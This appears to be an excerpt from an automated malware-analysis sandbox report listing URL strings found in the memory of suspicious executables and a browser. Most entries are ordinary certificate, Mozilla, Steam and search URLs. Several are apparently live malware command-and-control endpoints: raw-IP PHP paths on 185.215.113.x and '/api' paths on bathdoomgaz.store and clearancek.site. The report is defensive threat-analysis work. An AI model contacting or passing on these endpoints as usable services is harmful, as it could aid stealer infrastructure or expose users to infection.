Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.00000000010F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpK
Source: 36c3130eac.exe, 0000000D.00000002.2997022588.000000000078B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpM
Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.0000000001115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: 36c3130eac.exe, 0000000D.00000002.2997022588.000000000078B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpindows
Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.00000000010F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpxKby
Source: 36c3130eac.exe, 0000000D.00000002.2997022588.0000000000773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpz
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/15.113.43/ferences.SourceAumid
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000A.00000002.3448009967.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000A.00000002.3448009967.000000000120F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php(~
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/1~
Source: skotes.exe, 0000000A.00000002.3448009967.000000000120F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php141001
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0.Verb
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpN
Source: skotes.exe, 0000000A.00000002.3448009967.000000000120F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpX
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php_~f
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 0000000A.00000002.3448009967.000000000120F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpft
Source: skotes.exe, 0000000A.00000002.3448009967.000000000120F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phphell32.dll
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn
Source: skotes.exe, 0000000A.00000002.3448009967.000000000120F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpz
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/erences.SourceAumid001w
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/l
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/m
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001C.00000002.3249551937.0000026830339000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_PROXY_RESPONSE_HEADERdetach
Source: firefox.exe, 0000001C.00000002.3209641158.0000026829BF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001C.00000002.3209641158.0000026829BF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001C.00000002.3208584515.0000026829A8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001C.00000002.3208584515.0000026829A8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001C.00000002.3208584515.0000026829A8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001C.00000002.3201171185.000002681E103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001C.00000002.3256077299.0000026830620000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3265464725.00000268318BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3233875110.000002682E6DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3256077299.0000026830626000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3113229583.000002682DBDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3224173034.000002682DBD3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3113229583.000002682DBD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3272907510.0000026832041000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3234891682.000002682E8AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3249551937.000002683031E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3249551937.00000268303C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3249551937.0000026830303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3234551838.000002682E76E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3270272043.0000026831EAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3272907510.000002683209D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3234891682.000002682E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3256077299.0000026830603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3222889062.000002682D9B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3286894559.0000026B0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222112798.00000000006A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.s
Source: file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222112798.00000000006A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/acc
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.000000000114F000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.000000000114F000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.000000000114F000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateisAppBaseDirWritable
Source: firefox.exe, 0000001C.00000002.3225731189.000002682DF47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulPanelUI._onNotificationButtonEvent(even
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A8AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xultoolbar-context-menu-bookmarks-toolbar-
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2248812856.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2925089274.000000000583E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001C.00000003.3086576569.000002682E253000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3222736254.000002682D870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.3083238118.000002682E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001C.00000002.3249551937.00000268303A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caextensions.experiments.enabledfirefox-compact-dark
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.3272907510.00000268320E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3262618726.0000026830886000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3197005739.000000FA7CBD8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001C.00000002.3199975581.000002681DE79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001C.00000002.3201171185.000002681E1D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgbookmarksToolbarWasVisiblebrowser.tabs.drawInTitlebarcreateContentPrincipa
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3290440543.00003793D3B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: ee8d47a049.exe, 0000000C.00000003.2883437222.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.s
Source: file.exe, 00000000.00000003.2208378374.0000000000619000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199555514.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.sTsa
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8d
Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: firefox.exe, 0000001C.00000002.3290440543.00003793D3B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001155000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api
Source: file.exe, 00000000.00000003.2249981893.00000000006C9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2926652624.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2249981893.00000000006C9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2926652624.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 0000001C.00000002.3244804449.000002682FA1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3247192671.000002682FE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A8AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A8AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: ee8d47a049.exe, 0000000C.00000003.2884028726.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001155000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
